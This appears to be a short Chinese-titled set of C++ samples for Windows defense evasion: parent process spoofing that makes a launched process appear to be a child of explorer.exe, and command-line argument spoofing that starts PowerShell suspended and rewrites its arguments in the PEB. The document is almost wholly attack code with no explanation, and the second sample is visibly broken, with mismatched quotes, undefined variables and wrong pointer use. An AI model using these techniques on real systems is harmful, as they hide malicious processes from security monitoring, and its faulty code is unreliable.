防御规避技术
父进程伪造
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
DWORD FindExplorerProcessId()
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32))
{
do
{
if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
{
CloseHandle(hSnapshot);
return pe32.th32ProcessID; // Returns the first instance's PID
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return 0;
}
int main()
{
DWORD pid = FindExplorerProcessId();
if (pid != 0)
{
printf("The PID of the first instance of explorer.exe: %lu\n", pid);
}
else
{
printf("explorer.exe is not running.\n");
}
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}命令行参数伪造
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
int main()
{
STARTUPINFOEXA si;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
PROCESS_INFORMATION pi;
LPCWSTR app=L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\0";
wchar_t fakeargs[]=L"powershell -c \"Get-Process"\0";
CreateProcess(app, fakeargs, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si.StartupInfo, &pi);
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
NtQueryInformationProcess(pi->hProcess,ProcessBasicInformation,pbi,sizeof(PROCESS_BASIC_INFORMATION),NULL);
PPEB peb=new PEBB();
SIZE_T bytesRead = 0;
ReadProcessMemory(pi->hProcess,pbi->PebBaseAddress,peb,sizeof(PEB),&bytesRead);
PRTL_USER_PROCESS_PARAMETERS parameters = new RTL_USER_PROCESS_PARAMETERS();
ReadProcessMemory(pi->hProcess,pbi->PebBaseAddress,parameters,sizeof(RTL_USER_PROCESS_PARAMETERS),&bytesRead);
std::vector<BYTE> vector(szBuffer);
RtlZeroMemory(&vector[0],szBuffer);
WriteProcessMemory(pi->hProcess,parameters->CommandLine.Buffer,&vector[0],szBuffer,NULL);
wchar_t realargs[]=L"powershell -c \"Write-host hello world\"0";
WriteProcessMemory(pi->hProcess,parameters->CommandLine.Buffer,&realargs,sizeof(realargs),NULL);
ResumeThread(pi->hThread);
CloseHandle(h->hThread);
CloseHandle(h->hProcess);
return 0;
}